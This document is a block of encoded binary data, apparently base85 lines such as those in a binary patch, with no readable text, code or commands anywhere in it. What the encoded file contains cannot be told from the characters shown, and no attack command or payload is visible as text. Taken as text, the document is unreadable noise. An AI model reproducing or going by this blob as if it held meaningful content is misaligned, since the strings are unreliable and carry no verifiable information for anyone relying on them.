z&Y5!24-Lk2>GVFR#BGoQcF19(m);wp_wLhsPw2gcdM^Zf|HP&)5<75wlSs#7bTso| z#p7>of5S#+AE%jz!}`Uyb%pY%?>IFY4Saj1V>tP8&v%>?z3k8SN3iz^wm>rvritf% zh;3Rq{F4q-EgGEH%tK8;j+7oh&>z0-L^DY=zF@LA={rvP<8teXvAAB@!*iK~T3Dii z$H&OygQYnLtJ}5m_Y0+_`|x$1<)Yn*aOJCLU{7iC_5_kVVip{u9qM?FDIw^ z$UU_l0gpOmjZpqhX@6XCKykE>Q2uV#+^w3sS92cCG1CKU*-PN)RJ|yzt2^jp2d(8umDZ>vEk%kBL+@W`^|dmKf#@eXFWcOfM+ls%Q5d*i^~G?eG{~pvrWLqJ@3DA!Ej)6BgyN9$h$L?EE0sVSG z-_*4`<$3K8JJ)IBXuyz}Na;rZ8tmUQ2G(F-TtRB^g(-a>MKaKzX~*(l4QElHACzu9 zYAVaSCIXXy=uhRe-aH`d3HnA4>%$aaU!Vtnqk#7T+4trErvmQ>vfsq! z!MW0q27R$Kq?rd~I4=Vq0zGw4m9T%|)7$v`%|+?mYai?r9eov^ zQ99R4h+eUg&lXYjqF3Nv%mw-TLABi{ju5ZL2HM{=-8t& zPxzbLG;DPCagGuV>lgi@MM!5K_a7y)oWIA`IAE<)#wp7f$l;Q5^1eBCWdFWnGSe~P zCwuHLRPNhiO^g-{OdXV64Es&hTTjv5l^wI)UGaF}0|mQGr;NrUkHyLTb}~$!&wCH% zM_IoOS^xPNJ+Qk{aZAtVx#1qg!360+{o}Q=H{$g+w0OMe@bLF-K!%7Bn};o~C2$5X z1;}3F25f4QKlfa+H{+gDT3;(}gXPaDpXwC%ndZ(}doJNX8q~Rz#8&>U)Eq6X6<0@d zoOhzQk(w(ZfW{Z<|H&zxcSZTCC9V_BnnuW;8->XUZxgs%!uiVtv*>-=`JJkKF~m2O z&aPI(l9L!&bf(b`|Jh+BU$ZQiRZqDqEj-_pPTrg%u}xb3<5J&Q*IH+tZ%XG&)>%v5 zj7BZCmpC-MDV=A1M@1gwOOu>g-m{!^gX zAWehKmo;F2^N2O2uZt-)4Nib!h;&?67+?GE$s9cbU#ui0;*eu>ozzeKx0${c69b0z zRayi~bV?>&ef5%z@2vaqdk{9}fhqj!Gy780u=6iFEwndFOSy+Eq@R*gL-{!7n;Kej zLg`BDEcz*VR)rF0m7Gxeg>@GFlst=Naz5q$C_|k_KMv6tzij3Hb}1>hw`|ic5fe%q z=n16_^n}s|{u4?uBgvXjYKw-4uE`x!+NJWLRn2KE zV;ygw+#aL2OY-rQRCim#-qFa9xwxNEDmZ&&W(MxUO7I>%C@1bw3VbV$r?>CN2_Tv0 zV?ya?=!lHILo;y}bGZhJb?nd)!w0$>phZT+wnx!YoV`I4D{9UOtOQb)v#Z=Q`fD0Aq@%+W!{Ss8zLe&8QI zv6Qg*#S2MKQM@P;m{ z##R_ylh5;N&cZ?N*^{>_48ErH5zP9E>56Gz6$aP(ANJk^Fp45=AFu97Cd1^KKoAs# z2q-FdhC@Il2~4;W5($@bLCPgjW`prYd9fr^TX ziYvPUqQJ^7|L3Xdt~nE;;3z4g}7bw*oaKw2$Go4+A$;kwj?o8a5j zAIoa0j|3LEVD9CpOs;XPRNZL&(tgR(F0hD0X`_mc zZVeow-O=iqN2{9$7IAR-Xmz@UCjlR|6nHK|tm<@hwrl=IS0T;-E(-W1rF0Fds*lyG zF?bc&gq1Z6K2Uw+XmwIiV9{9mxiygQ2^>-}oxj0VV?;aP2ok@aoH8GqOA`mG(AB|0 zxpw$fwjE&NN;4-W>}=cq+Lq&49IJD30f^<6lY{)aOy_xR(sw5(ZseF%y5N@W@`o|&yCB{4Y_=Ksgip7Bv94Sa%rP0xr6*zGuFB5r;rLaKSP8z1^% z2j3ANQnhk1%;K>^dhOugf z=rM!rQyk;!oC`3~O7q)(K+MLM_#-p667RGf5_t{w3_S#`V# z`i<2Uv#NrJglv-z`@%t6%oksrmVkGAr3&@Sz`;p~VyX3TvLl#J_O!Q(Zex75#WOin zc{zE-zG1@*ov@!*wQX^lr6 zs*)ncrv>oFv0aXdrifl?kIHvk{EKfyzQ1g}pJlzv>I<0t&ehUXePAD461G=?@|W_R zfrmB3E(=F};Ai^JfX=!BLqz^_p`%WbC-$5Ty&UftQu1RWnM-s1m_X(KnZPYVD0&<8^Q9(p14BhZII zHxOrr6AyhbbS|720=+GC(shJRI+k0~F*i8mq$ZnbQj2zIa?5I8VS6k(b-A^|AY;<4 zTd@987$=I9+X9VosgA;Ux}u^h(byb~U8S*=8e6TgEgIXZvHcqRQDdfQhvBqLZgG;v zPSF@oTvT!4iHjCu~`~>5he#q<@OxQ~t_8XK&! zks9NTVk$0^H8w?KevK{ASjd!HJ-x;{F0NLE?tkGPYYz808C7^$)_B2)}RDH~x}RB_T3 zO(^x2vT0C$1ZK?iR}&8l~TWtU-f^}Y`XY|Dt&i!)ww(UQ(Z+BkZuBL^o5c0DM2Iuz69XcR83nidl(!#7E1%n0-?Uy%z zr0843rsi$Q-MVz+Jc&}rx-Gc}2oz;-Ugcvne7|;HrGquE^1jurp>So@F|YEiMPucv zq6;Z<#M!Wvpif=Qo-Y)uy;$=q2T&n3g4FyAodzm2hB4<=GJxOC20ld9HLvnq1L&B9 zmm5GwfqpXv9rECp%&V}yzT~%@SNYX5Dyr{(Vov46mAqA@D79*u<;0wdn!&OrwX)E> zPoLC1WR|Hf5KK@7XPGz^R*k}L-89Wt_6ay?0#9t)6LTsj?|5b57p@= zqi^6b9OG`>e@)?;2`RJxJLXi@e0$@)hX=R%XpMi;$`Q5R>1s};AG?hwPIx$R!o!I< zmH%6FD*vGaA7b1@+qQJ#EL=3(w$!?WmiNx8i)exKirBDQY0ri2`5AhGBjmt`Zj$(T z9QY6(Nj-I9dksKMw{(p?mvSvW171M2%CCV$vCcC6N9R)HZuj<!IY$f*=L$&wLm zgZ2B(M=ksjQz@rMTVn6>sNM9;no3y)W6{)4%WB3o56pMrrI)iZX-th%PNo#&NQ026 z6l=P~HD>96WLgF04~K(MnBcG`S$ZF>#=VuzG50Y_&yv6@3G*+lB%Tg@EZit3E?@z< zSiHumBNbRbhJN!CsVN?({CMMNsuP39_N)fSB9v`=nAD6&7j4^5+YW?@qn=KYuWc`a ziQk2xGa>=J<9iX<{rF}6JH?CI^qw|-rA-(Dsb}_sAD~qBx7#6nXyRXvws7?IWm-bn z_Fd&5jvC214>&e+NM+meZVY>q07q+YlD0wj?@4?0WxNk|yelPgOBdtBIAAe|m}`CT z3K2T{0TzVKd#Izk5cOZ9C`vm#T76HRP7znF()7>Q%VJ=KI)o)PzfM)a8@Js zgo?-V)21Y&q9#=AbJZ~x4fPVno=x0-6x^6*bC;ep#`RK^GNq1SQlh4gxeqKqhH4HO zQajBalkZ%h$GH(h9Fp&G;qx9gD{q#Tm%?kcFN535lmi2TdU2W)_H|8XMDE)Na*Nx{ z8Zwn}%)Muv>mXM$ki8f=f~VF@hI&`CRO8dQfIM_6<01K8_f*D*mc5?3*biW>1yZAI zW}x@YupcJ?g;MROykc<4e;V`*=$K^?r$ZkOy$$p-=$y&m%*9#IuZE669RGaiSU!{b}gkpuYi~GZ~*jKNtEQ=;uTK0eWBPEIV1y$$AdX z#GZlp+_FvN4H(wQI9<|3qP#qiCbwvV6f3NqWpc|a-V_#`fw)4`ag&>Jd%wmW)Yyv} zds$;|YV5BX+pDny8bh(L;u2?>+`^-=bd7b?7%#C?amm)0Ph$a?IP8`vZn8{n@x7)y zsOcQYVwK(m%j6ckaYFVgp!3TMMLKldehoc;Uo5}=p06dWw+nI zE;q=RAr?xSa98!sDO_*4B2Bm}HbHgGDg4oLMVfF|jif8eAyxRC!VU#ma|&*-zn(dT zh%>+SY(i!|vkBQ*L$dql_8T%J`!!ruqGu0dce~&q%aBkP0iaI!>uoeBh zwibhb=}wI-6f^GBuxATcB)pGNpNFB0NUhejok+Vpidm z`)~D5EWPLBclQ4C`7cJVMo;m3)FH!8%qq;7H1otxjT1XHuK2$)s}R!9`cLlD=+>=E zMn^eg@auPK1pNw5H*~Wn9DZZ(^`t|$ZuYbT>eYRC_=U-Hk*~(s>pGa(3s*ZfX!?)N zGR)hv294K!h=%aKQsX-k@VT%bBOMb7Ni_>c|NH3CfX`F&>~I)r78dgN?mYaC!g<8$ zQ({a&$ZZ@k<{spnMC&pJBY$?&gz14Ykzw!Fu%;N&iW$8R!}VXBN`nHAH;E|kc0Lz&M`glf z9Htm*8X~ZL=|Ykg;mBl_{>7t7`8FM%ie&Vj_Y>n>wLWk+2<@KHh7#O8^0$@Q!ai_l_n07a1=jX za6&`bj)#eB@thduwrwxdwzFYsEp4yTwu@m>lOfD~d?UcWr|`?~$#k(5zZ6cV9LQ9r zRKuS5-~wue4bvu`%%!l|FmZq?U0e&3nq0XVCKU!glcTnb@EeFHJ)C3DXqipw* zjxUj(kx7?=TdeTx9W19v`>(`2aDf3fM#^~ZB`ZLi4|cAH&gevMKA{}^N&5Bys>}=I zDkmW>m%ehyrK$9_lNB;v5yAW z&VYU=@cz&rfqoYBTIe01Z-)-S_kReT6E~ki?+kqx^sdka!t4Q^`Ob-(?$8mYpC=1r z+Rr}$`gzbPZCTJcfszBA<(c6zlgPi==N5it*(UM|b4llx)2DQyCUR&}R~jg+G5l4S z*D@u_Lw^+3Ph$f#-58B=qlu!EpOP|+g&Jesslxc3#vahvBO2p`kD}v*kMi#mjeV}M ze`svK#<&edx#cz#<(At}6vk~R3Oi3@SsELyv9TH}(-=3TD7W`&Y?a0g)V!41L=kV9 z+~Q=IC{2mtG|S``*TAIWa-C&ziyJj|i^lHJ*!>!NLSs*BY_rC;XsnJ2q+n%_NhFjs zz5PTju-C64^GjJgbg5JMq}#{G8Ap$D@;z&EDXyaF(gk_xS4imiHnIWJ6p-!+6?&i; zSO%Ib4CB%iRKIKziKUk9QD9*{3Jt>#4NFZTaYUP=*i^wuqzRK0!qSb6DaUE6O6()X z+S)&BB4 z9Wh0fRa{(Iij9}$RafBD%F>dlI4*zY)bi4-ZbHsp*)3LEZx;n%<78WJ*Sa^y__BuP zzfGTnd9ewprFyxt6{IJ@PR=aBhO zft_w;PH5>T#In!LgJCMhIb?UCKf=Yzp(?A6{W3H884;o+UBv9xqp<%PbT?Z9#xH_c zvs+ssUZJ>F-{^&7wV)j!#ZgU1-W1ty0QvQv(Vf@dA{PI z1;cX-MhxwbK4vX278iM-r%sZ?Yg`Ye%CF7_Ub|ArkJ;sBz4;>OK}o^jQ&>)cU$di}8a>DjHS-|s(a zq?$Rog8hsW`!P=J$2hScG76)T z9R-u}y#%HVJWgIaV-14e024c^>GBpQc5TyTZv6mLe>}Egr<@9%2&sNVua&uKKdUX= zw(m>}X{)5+M*Lmy%vf+Tb8H7xABmzzs2Z#)Rpm za_p2`pL2bqnJQG0OLB{BY}mG(@vQjdyCth}~IVKFR>Rp+*=AXPnM&^EEn1_r^w zT{WI`K^g~2t)bE!d5%w|47jHZvr3wA@+$I6ooqBlB8}xcQ**0)#|c>0>i&o1yIQ>8 z3_+=P1B05e&mx)wE_32wHlD}@{6VgA0e{rNLp(-^EFhB=iyJW78$224av4+g!+g(x zJkYyo7LF++KVyLDBtIvOAjN(TNN=k=M~k%q>qHQyA%Ka*HjNDN#;3DQuUlso+`ysPd zj~~`Ev{*4w{B}c%98w5Zzidd6lE%8P<=dIB)-|NaVFV5xP}xI@CDUeBmMTc7A;p=q za3)#^LSwMRkcO&>{N<00KwhN^o_+&~v=nJV?-o!4e;lr$I%VD^j|{a`8+`dHu+D)$mJF)BlP;egbhTQ6bq@Toy`TyoE__RY)++SSbh%;U;HbJ( zEuMW5x*fxRStw~xLql?pIXEcKuHo=p#5kdSg+M`8ZvVlU#mcR3wL0BLu2nC{Djbko zP>^3(m?eur>~m^S))_`U& zT1qN5uF}5A{_VA;VqGPtiq(l79L|y0Zs^}QMSm{^} zd?jeQWh%P5_~J*nkAtRzHT}b?HdeSBfd36NPxMg!$^7tmayo^JpRBxhS~Q9h{)sN@ zI!&x(|3WK>e3bH&E(EY;EdfZrjN0gylHWNwKUB+ZiN%^d@(u(5pNtdJ37{g*B4yl{Ukxle1>$@4FDQwTz z4LEl+Oe(D`i8V}ZUx;B^1JXka3K6s#q;^}_prIqP^9J=V?l-7#pl=vHBBJlmIK{#| z5l*s)4bWrWCtG#{vx^1>Z{%o+s5U|uUMY(KjBQ2vtg4wjp462#8ufMMgvsE{)Y2<3 z1biy6Gk{I2Dk+Zbg3Cs#=FFU2j!Prp1|6sHk#$}naS0fN!+pG&U99~cA;aw_!G1jK z=aiLKOq(@x=CqJQfyM&I)e}Ew=LmzJh$vN*beGZLuyrxsr&gAhPSVIP-CM#z@^SR7 zY{Hcjly{NS19EcTRR&isot^T0qZRP3trb`eIkQ2Ljt{bPG!-8Lfc34t|4e~!*h3dKNxGiH`fEuA?- zy0fPOe%`etO!N0>H;b;AKE1T6qP#@<#Xxi6f92HjSyLupme!V`)`(cWH<-|6Kc=R9 z%8W@9N~cMeWWz7K)`b4`g?}X&2$(jle1i5bV(Nvd?=9&ntCWn9ulx%Cg}0wD&gYT^ zEO)asSNb70d1XrvyU>uX8|dW4KPm^0IjeI_0?t@0d zh+cMpmzP(SDkhR+S@7c+Cw?)cv*B*SjOvLv*ph-^%S>gM%=|Y^JTYxOW!kz~rI=s$ zCuX7=Iuo_$-6y_T`dV?zz}BW~d);x<18OEJp8fn2Gf^jIqE5_2{l7dDh3@iLcJlu- zn|6-hnO)&N=?y!{x!sI1ubtgr-g(>+02qiycS5^tPg|$7P>XWK?5# zALPw(**c{{%WLuTKmLt&P!#CxPDq9Il>Ds7vEZH*ri^l=<;fxG7f-EN)ulLRL{pf9;)k&Asc!6id&?OPm`HncSgxobn98{?f$H zJI?t#g2&}X)3}mWyC2;@p~?wbir?5jM>7pL}RzZ zq+G0mshhNY1i#9^KWp1{Fe(2ixf~r%7hm94`TTd7lnd-Vu;|W4(v^RmVNx!#VNxz2 zIP>SaM0K;WKf*;Bo^VN#hfy{wd)me&h2$1CaYl+!^~o_rC_#$Qxb@?{q30Z+R$NVo zNpY1WOmVe?wk3ZD<5B!owtexgQb!*Y&o9*2D3}xn$HAm{Gz}(>+NKM&Mui2US=p;V z>P+ctF)brgn!0cpSZIlJpefvlKFef@aj6o6lQM6l(9JvShh2qhEiJJEWoaDi9$`3_ z<{X+oGEQt<&~-81{YRyUDmQ&L&mP$4waT`st+GUFs|BP7T?*+$7~N|XyOqorsADkud{-1IGEvXu^1%G8!<>lSX>rhbb(oilMk)Z6wy~?1n8WqIB;%a3~FCB_Sul zq$GsXGfD<1zslANQ$8N2lw@U_jdvv>xiBdSpedp$^RDRd;pS&U=xf;fJHyjf!o#4UF)3*A)dmbhK=e8`mc{ZjPrS zu20KK_n6|fEWXIMg?~+5@D~^Zr{PB^`NA@-bNg(o=r&5P-NIU|g?9w0MtGLSeN1}8 z$zREToCgmaywm;xmfX7yx(xggKn)tgz^>0Ya=Yk0P z?-PjAM$z?(us`2r+hB?j#$9}cvi)Bn?bX{p;QxaAOu;edpkkazmIHknnI+XcY#b^n zo>eikq!hDz+@59ZiMdG9eSnRoXN&2WuDu&;o$O_0HYe=JuEQ74ts>4-?D4saB)TU|>D*sI9d$sax7;a*NL_ z+eGoDWpayuY0Q9UimtU~N|g7tDU6b){L9sJQ#3Y1V>f7wYrB+NuHI5^pVrvR8r!I` zof_Mvu>%@Aq_I9|0hE7zEt6ZU)Yxi`$xb<|rTdUb`;?8Ok)v=Px9maJEIfog+Pi6K zola5RqSfH|_c^Qm?X8yBO?tQysxqU&?eG8NFg~FzMVL^+mXt~ydxn)-)tZ2z((l*0Gp$)YkZS_zn*%1EuD%p5;#Cil~a#uAA6nV*7Fm z>K?mZQ&A-ztYm|$aCsI24|kxDs9N?@tBz7V3vSJ}E1TcZ6MWIwKHDs_eP*IqW2&}c zI5M?=8U==-eJrad&Q{rHb$67$y@fh61>asNG3rj%F_R@#XY_YG((fwyu8x5qXI_!- z=O9iOry=LUZUk*W9m+;wo%Eu!tV5a8whF03BaU^5s82)h4JAL5P~9@!|^cB!4gY=KwV8=yO@-(SR zo+eevD~#nuVTUbKqO9%})(R<5bUYGUVf;W<7*A4A7@J3h@gxO>6=`gg#+GV~rzR-6 zXEgSl#<+)8`S-rYc;11+c;10>dxgg4YOF?MOEq?f#_rbG8jbN|LHTFbIQ_v3TRn;x zP}#+YH4f?QXLW=!ab`nBsfbc$$z1p7rWgb+dSJ%r#I#5$xoE8royZ>_uNT+iAI06*%pv zSZdOt^PM`mu)unUCVEqP=-X-}T1QnwubN0vIqiDCDK zJ|(==mCq>WuIG@CA%25Ug!o`Dg)tCiVJ4o9c#c)_!duVgaDS!rWgUV@MFB{SXg%#x z*IQDl+q)Uj*X29!t@h}W$jEbqj^*|vlsNmBTW6soYi*^N zCf|iB0c0cS{Vr<1cVQHm2GEb>SLi)+} zG0;0h$B>ZU2OTws|03um(2Jpisea1JWa#stUkaV2lsIK%D)fh-PlHZYqHUF>6K?z; zTXZOy0wvwg_IeIb<^0n8jC~hS(4l0 zu@&n>DqBoglJPG{yAKcJA9-H>Jqp6THwE#}BWeFZ9Pguy0^)sjVyBG|Nc#O+qk zgGj}0^#;O*qG-2zW%8Zpf`xzevt+Ti7}Ni9mbcM`_?CT2hk9f&@K8nJ9;th`D8*OH(3ysi<~{ z{lPLNGCT|WKx34BMR!zVEcFUYwM>bkiN-i|tHNO0r|9q*ej&fP?P;Glj0s*ja_Ygd zz#N`>xSkwUsC!$C+Jm5RhN77U!j+evw#hfB4l6kiqgd(uLNa|{! zu}$DcdN_4`Sq(WRYFN%h&0~P z)B~2;wm(xE)Z0n0LtPf;o`-+fecB6QA}6 zl#<`Q6{VNrSdr2SG*tG@RccTSZKoQSb4lvO7^96lW_wyCX*ov6uTc~}lu#;OMVpS{ ziZgYIT`KW}kn+vN@GQ@4Psd5yuCk$5eomccIaRwsSZm48V6<}fCn^j3ETrx-JS^}w zhv=8$kMtD79iTUb4qs$Xwj1E0mTegJCE%PU`4RZnuRT~r38)^698HOjaw`jW|*JmQ{mGW~` zr>Yc3=G0&L2XmG+h^^=+bCz{?TMGoo{4}D@R5=WtIlxk@>S&r&9Zi#4%7?;MSafdj z9fT}oJ1b&oEkc_`B(f#S5D;7wqgeX_6CLD$>Vigy5yD{jhzjVXOS;jDg8{~rn2NkPo zx43O%^>HHUQE;UqO*l800}i7>vDl)7zut%(Cq;{0NI5Ayhc;6~CeUp^d}XfM42BxumI~ z2P_6Vbj(w#a{0@!Y-Emwpo*|)t_wqAAHsNZ7!6yMzT@Z%jTt*}TF?&@UeiV{Z^zN7qZ%N1!<_?s<+w5Iq7Z`Stba|;F!%^N(V-=Hiu zI$T1gHbTo8TsdM9HkT`3bw90ma`}u&YMEN( zu5)>cO!0(@OH0b8Dpz_|11Gb=6Z?~{p3^Dq&_j0SsbE3@Yuc1OHk&>;g=%kU&&}$W z+uxV%8!{;T#7ab@Zzg}bl_)M*4)U@FXXg$bIJ7W7Yx<;mx3M?i>`BYdh8%wxyRy?=eV)w7{6Nfl%N`sJuy z*MqJP)fB(&*5iWPC$Ft8Mas5;|C0$4-LE3<> zs3jh&FG10cwaxJv z)7#>k9S;?|5Ou|`)fwnIp}R^|pMRyG>Do@wY5yYRv>gPn#G+A@vH6?YvDA1+3Rd!nLaXHU{agiEq)jZ{J&=Mu}mJlOpnG+$YC zb@{gv7JEUnY=-nsj@QQWkL989Ohse=#!BxYShfb;DYFz+UGg#-e7OWPYx&_1RTp1S z)WnBXLL90l>*nMI>0WAmBmxEFM{&rwu59TDveyL=y8 zG`4@S+8N5n{sz+hs{wRL@XvL*9iq}1E}G_Faw_rf;lo&A$d8}nx9`BZL-IJCEpZO& zlolc(Z3;eovP4c^_7GoYQE^UQLBAn67Y+9nVZ(*8%+QtvBZk*yHNcB{{t+t=A~t;6%KndjDdU`Fh7o$WI* zLXXj??@SDC&PM?h71lAu+~$7?IPt%99tHP@|I*VYB9E462EQm}cFvT{oPkrPXH=n= z7V9{PUwd2x-JcH5S;s>#C0kM7{=8Ekn1npW5wiImdg6S96XzqGI3MBv9puMv2fdEBz3)B7=Ja2E{K0WN>Ogy?BOW}};P}Ne z+H=j8bC1W}zgCg^4ZPAZ51xd9F2p`O>`L%#fig_)U4!8Y4oM}7>nszN&%(rE5GFXtxIuHkOdG#0--rRfs>j84%O$>3Np&PRYrx!@vf<)RBr=SW+g^2QYd zPQhh*ourA&^pp!Ot5z;nz|>XRV(H!#tn{3cVPEbre}iY-dJYbAJTzUXz1TL@sSTpS zWfAt>67~4yITjU<*HC+`vk~1gL`VJXrU~1V?LF2xv2Al_%|DbCvcDR4Z(|!@>VidZ z{pT$FwBKBl@9Oix?1}St_T7{_3y8RI{<@pA_E+`v!)1@Ey3&v zIFHV*s`2dzeJcOchOtFkzFN(t+?g?OBzAAVH^41`H#Pd-d4d&XC%=L@+x0gUom^y z;;|L$S1Q_3MK1Qf2Uw4YWuSE9z>|*WB1)oE^XvgVj)q2Wudo+q+X1nf<;qJJ9J{gH znt3}Kp4Gp~E@Ee2aM4|cjDz}N{4(Gly<{Azu#&~kHjnk2T4YC)T4YC)TXI`rOD#IL z*lC#(<$ioc7mJH*VMCQ#Y^%7s4;B~WiR7Z~hOJeJ=Au88i^p}@VX`Uw2uh?vXP6zK zlOtX6D2~viI6{+KP}UT-(lV*O(D9a`i*@RQGK2y5|2i4^){-H%s)}PYDUQ*kWJqC@ zA%*RCdDzDlng11GNiDbmPyHw!eVjp*UHc(nu|dh0vC^~49&A- zXuc&wPgyd=F0kSVO^PElDH&4OO1vu!o!NPN{CExcl8Q!-O7*y~A1T#S=&70OPxXw> z2+Z-MdM@b_7=W(gfz-2V0|U@o+#48x-r|vf&mU+OD9D(%@7iH07Y2&c16gNvf9!+# zttO{dZkJt45M0}K-oYhh@plHYI&?qzjh$m^d}}7BUbDHzx4^N{v9)HzA@AF@uX&bU zcj;G+rm*k1+50B!*9EE%A+*|85zY!ntz$2}bOkonR3Gxb4D$y`ff0LZH@o12Z*Ab^ znh|@vwSoKtwVM-aeCz1G#`m~my<;;kcfk8Hz1>^mdm-@en(E!&!|-BjAm3m67Q9{^xU9KjV<3O8^m!e9 z-s>H)6JAK)m&;h<=fk9>zpway#(9C)y>AAp_sXCgdl~(`-j@R-{0w4yjc==r>9`%< z4+4Wv4U9NayQeacfT<|+EcbCPJElk3WK=lD{tznw`i{ zqz*X(A$Z-J|AOVs8s;F=y}f4KUhfCBue%&SdEc*@yQlWGgqjgM!4||LFk-iiKOMuc z1Jd(?!?#Z6*3KGmDt~KW?h*RnJptcS-hF|5uo?$|IW`AsYw{042$>#RHn%F-+$fW` zJ>XmI@NEXA?_rAM>w$5*!AnNxgTOZLh|Ly@$YjZ36t&F`xLV@yZID7&0|&l!-VZ5u zZw2NeCm>tkG9~7H?}!Z{9_(d-IKq5G)@}&+);N4S9h+<5#<$D+PsxidfojQ%TF7=_ zD})E49Pr&`d*a(wQ+>orpv$q5_9z>WDiEz;;R^WHBE^*O9gM}kzWGiym@u_#4OgcD~KnJxH9V8vH06s64j%yIc zxFh8I?wWB&l&Gz@Bx2dIB;w&Hi9n?D4+JG*d#FSpU)DN&Tgb`{ zP!a(durd@JMEbTeLm?55Geh@Mo@|NufLRKW+8W|PP$E$EAjEY_BH#u&3z0(Ucn3Uz zEP*W;5!edxkP@-R_M|?EcnVbwJbfWjB9NPwL>yApNo}w?*{Z7(C0Oqu3s{9f2q_WU znM33Qqzc8Hg+IFbkQJ(`K9FN8l|-zdL~Mza2o|F{B?5&nQX-H$t7WkDNyN%yNyL&U ziHN8pwnRw8Vu$Y?vT{W%iFhZ-hrmV_aa$t5I~4KlmPD+rQzEw8nJF71yN-ZFfP2fL zC4xdA3ks_kT}QlNds3f7Jgy|-u479Cgc^+@@*VBLM(@k2iBSy<WXI>>gbv8GOmh-fv~3t^LCR}Hdb%RV^UtzA|%5miS#)ewnTpd}^ zsjxaierVu>gP*nbx5iz^l8ALt5^;<=0!3Zc5len<9f6LaT}LdgQzD}42v!KHXNhK~ zVG{9hLnLCYsv{nc5{jSkt$~Vajgp9!4XGpKmn%L!@oie;Lmja~*Ac5@N(4GibxQ;| z6{FQye#|=JsbfjRa0rf%d9l5~0|_ zkHUI-mg{sK!Kw~JROlpfJR(-l61@gFBoXXKV0cUQBbGoSQ0>c(fUL;nn1&L`LxE3g z<{m))s}X_k**QW-IAr(=E&XCuORUv0v5x~r{Bni2_&$r4iG$wvtWWPSnSj6Yg9DD` zV962Le4|O>kPL^Ih9lU zV|cQZJxIO)BgMAjPD?*tID1XSX>;y=BW*IClOpWzhJ`6@)hR#e5%%A}-mrY5KaC^o z2XeMeaGFFdciWA5?H&=wzcWsB+XnhLJqWL-GV~t)uu~6twy+;Z$#6s*Bj$*=I&Z13 zd|%u&4XdI$ijhruq7wZ)o0IA|sK`FtlLz-;19f^c(L0?q&GFWh5a#;ooAT#*Y&_rG zunrbfp{fM7)GlrI+KUBf&l8M$ASy1bY8WZ{$yhPG{>TCh<)ayTzMQ<7UwjtbUMu?E~j~y+hsnL zlxV)3;xym!IHlidprp5)OXWI@9`J`bL+njL;`}D3h^giu%ss|Saep)3cJ490aQ)5L z@BYq6NdB8~QtEd``!u(XC*7Gc7gHra8Bbz8Wt{e>oi9?2iN+UVig`d(IX)6s#~lz0 z;y)EPIuD2y2_K1-E}Vwb=wtD;`+#^M@gq^2bVR(F{IPg1<$&0k`jPn3b5N$Al0knD zNama;F{Xui?8OtB7GgbRoEkStM99~f2aV-%2aN}v2aUC^gT`y_gT{`egT_Bn4jLlu zpkecz?xx6i=SjXWEyTFG2-~omB#A<^+B|GrA9vWe!+F?v%yroKi~F$gR?=bPvy{We z_nyOsoiB8EJ0mQ1cm|8ljIrit#*Dbn48QX;;}+K^#%lLx#-EbDGB&5YBg1D}D4)IP z1o<-F$`@j5Wcb^fV7DS9XrIV6_lRuA5ivS$k0^>iBBnU^h|+{3;%e6(F{jZHaie>W zs7Y*WtV;Su+?jktJe{&f{2}$I*x=bCUP?P6-fR31$v>_pr2k8;{Og1;$zEb7%PM10 zic7f7Q%twnA;|F#+j*9otngp+s*sTWb>K0Wb+kg zviZI%+5ElT(w;R**xMHOepD-9l#~v#BW-m^UKMD-q|Xoo;gj;`|=m?M`x= z|4eb4NpRP)Ns`IDA`j>`UZ!`2$0?G`=4O)FE-uwP&zWQnb)}k@xRcC^q$G1eN{UW1 z-Eb~hh$ouN6c3p#9d5HryxYu4aGS#$xy{LmZu9bFw|PUV+q?_mkylI~`P)^d`LB&# zBGc?^ddyLXXNl8eUWItxfOy`Ecs`MmY_9jX&6BM3(cK|DsAUZkXUvSW;!gYqS$B=Z z3F)=qU7pd@tQFhMJfmG)t@vA9p3%!$D~>pG4WDb1NNJR3jC0qDjKn-+X3~qIb8>+( zFQr!WPt7xK_0-C|p`U#6@d)vl&M#s-jDbfI*y&-p0^g@1 zJ#*a&<`U%BeJKg%A3Tj^y}|sVyGx{BCe}Bpd>~dT{d%dfDJB`^I6Z>$3tFJd=Hx^r~Ah%J`!`lxYRG2U2gJRk;{LyX@$ z9uQ;Vh8T~>KOm+%hZrv=JRq)h4KcPhdO+Ol9%6i+c)wVcG{iWN{D62iWr*SQ+%GnH zh8WEoKcwSDzu%DIHIj8Y2Mv3ZWO0-E2-=zFwogG1D@BVU+vQ4QND6akC$Qakc9Q2t+C}0=$BMYOjYplY8ZWpu8E?8@ zH9k(-V(d?ORq}xG?t>p_pu2lzdjHbc0lv34 zQ_b@cj{>v_<6Vu-O2lI!;&D6T@rWl)#(}a)cVFUR9Z7yNUx}3v!je_CSLDyRcnS%L zQ<1MH8*Pk9<`PG;c~5+@`BXx(`EsLV^PR+G^Q+`!^AOrPcVqAhZW#vM@<7Z`|IWkP zG(ut_{CmP!Yn*HT0RIw@&XbYO_HK`vg?6O?>73w6HY+XvnBR1Jhvgr8-6x4!#~SMt zQq(61mzd#L3v2^}5N|_%h-Euo0M2+`%7f!tnoKl~#@S&LzfaPRw!)d`Aa+=W^N@vQ8(VjiM^ddc8}9(SQDWyAr%3+Hlh{5P zmqm>(FupJ+#(!ZdJHtWx+Zxf|m5s(2ubNlKZ?X9z?Ov1V-D3MCvCc`PKh!8-++jW$ ze}_e1EA7fz`Y?&gG7&1Vxg>Uhz9hm3PDUc?e*etn+!wlOiTHbKYB*a^F@B=54*E!lDq8^>gb z8k@)F4qy_(N3No)HFrf}+2-yj%rN&vVe`b^C@fnXh{6nUC<;S=ECdUFlTO$57UOxj zjI6h*L;Ty}j7u^)#QPlAxvmlkjVjEm6YnukO=)iq@;qdGpVr60xcwdkH)WImMoPjgk{zPb)4ySGbsMiYm4 z%(207j*%Qc$6S;!&u}+dV61RI=@^~T%&hQK8vjl^tiz-Dd?DS}ga z7;BtYI=Z?C7;_W-rYEJun4S88F(d7$?i+jH=1iH7M;bR0*=D}^2glL)zo1{`#5d?1 zb8O-!$3uzFipfcaqdfI1b9m#%+Ff(FyH2|MtZ@q3i`z`U*&+T}cMnQ;w;}E)Il4IhiTs)+9*m!8wssvg+azu^l9JCcdZnD< zxGb%;4le`l-jVJ)G)_b<{G#!aalPYxM@hmK!>c-eC)WVv73 z-Ec#9e0Z0io#wW9!^Z)X2j9KF$9O}3$9Hj+Vp{yy#<+w-j!P2P7$+r{8S_&rj8spM z@9cNH>GSNO$j{ZGF_(Xq;nw zZx)%Q@voR!u4lzj*Vo2g_pRola}F>{64sih zxnC1T;!)E~*(!FV7$}#jon(9ZsB|~CiNaKS`a6l;Vqx=Sd-}P=d=^&gV0&uHI`$0P 